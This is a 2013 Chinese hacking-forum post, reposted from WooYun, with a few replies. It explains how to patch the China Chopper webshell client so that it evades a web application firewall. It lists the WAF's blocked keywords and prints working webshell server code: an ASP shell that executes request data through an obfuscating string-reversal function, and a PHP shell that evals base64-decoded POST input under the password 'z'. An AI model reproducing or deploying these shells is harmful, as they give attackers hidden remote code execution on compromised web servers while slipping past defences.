神仙 发表于 2013-11-12 22:59:05

菜刀炼利刃——砍破WAF (转载——WooYun)

本帖最后由 神仙 于 2013-11-13 12:19 编辑

BY   :   RedFree   


首先,标题有些夸张,我承认了。
    其次,这篇文章没什么技术含量,文字游戏而已,我也承认了。
    最后,大牛漂过,勿喷……

    以前乌云空间好多同学提到或求助绕过Waf的方法,上传的一句话要么被杀,要么被拦……;本文不讨论一句话的免杀问题(其实也没什么好讨论的),也不涉及上传方法等等问题;本文的重点是改造自己手里的菜刀,让其突破Waf的拦截以方便自己使用。

改造方法:

    一、中转数据(已经有同学发过,讨论过了)
    模式图:
Mode
    中转数据的优、缺点不讨论了……
    (注意:本机中转相对来说是菜刀直接接收数据了,因为电脑是你的电脑。^_^)

    二、自写菜刀(已讨论过)
   最根本的方法,但需要有编程能力。

    三、修改现有菜刀
    这个就是本文所要讲述的。

所需工具:Chopper(20111116);Ollydbg(XX版);WinSock Expert+NC/Burpsuite;PEID;ImportREC/XXX脱壳机
要求知识:能认识常用中、英文;会打字。
改造步骤:
    1、脱壳
      我使用的菜刀(20111116)大小如图:

      作者加了UPX压缩壳,PEID侦测如图:

      使用PEID自带的插件/OD/脱壳机 脱壳修复(此处省略几百字),完成后如图:



    2、使用OD载入脱壳后菜刀
      将脱壳后菜刀拖入OD,使用字符串查找插件:

      在查找到的字串中查找 execute("execute 关健字,来到如图所示位置,选择跟随:

      跳到下图所示位置,右健:

      这时数据窗口中已经到了我要修改的地方了,点选以Unicode显示:

      至此前期工作已经准备完毕。

    3、测试X Waf拦截的关键字
      我用WinSock Expert截取了多个菜刀的通信包,使用BurpSuite单次发送,测试X Waf所拦截的关键字。

经过漫长的测试,最终我得到了X Waf所过滤的关键字“Execute("Execute、Response.Write……”,下面就可以有针对性的改进自己的菜刀了。

    4、修改菜刀,去掉Post数据中的一些字串
      有了前面测试所获得的关键字,下面着重改进服务端和客户端,让通信过程中不产生Waf拦截的关键字。
         我是这样改进的:
    ASP:
         Execute("Execute =Eval("execute/Execute global("execute;
      response.write写进服务端;
         代码如下:
<%
Function Writesource(str)
Response.write(str)
End Function
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/z/*/(tseuqer lave")
%>


    这样我们在菜刀的代码中就可以直接调用Writesource(str)这个函数(函数名长度可以自己控制,以节约一定的字符),效果和Response.write一样。

    ASPX:
      我是这样改进的(整个过程N多测试,此处省略几千字):
      所有的Response.Write = Response. Write(加几个空格自定,.net的容错性真好!)
    PHP:
      把=@eval(base64_decode($_POST))写进服务端,客户端的=@eval(base64_decode($_POST))以其它内容替代,比如:a=asdfsdfsdfdfdfk,只要长度刚好相等即可。
         PHP服务端代码如下:
<?php
$sess = $_POST['z'];
if ($sess!="")
{
$me=base64_decode($_POST['z0']);
@eval("\$str = $me;");
}
?>

密码为z.
         修改后如图:
ASP:

ASPX:

PHP:

    将修改后的地方选中,复制到可执行文件》再另存,打磨后的菜刀就出世了,高兴的话加个壳再压缩一下……
至此ASP、ASPX、PHP已完美过了X Waf(亲测),而且没有功能缺失;唯一的缺点是我的服务端中仍有肉眼可见的关键字,这个就要以后再改进了。

                                    垃圾文,大牛勿喷

陈可逆 发表于 2013-11-12 23:01:31

mojitingliu 发表于 2013-11-13 08:29:59

这个真没看懂哦,,,

ztaosony 发表于 2013-11-13 09:12:24

图片怎么挂了?
页: [1]
查看完整版本: 菜刀炼利刃——砍破WAF (转载——WooYun)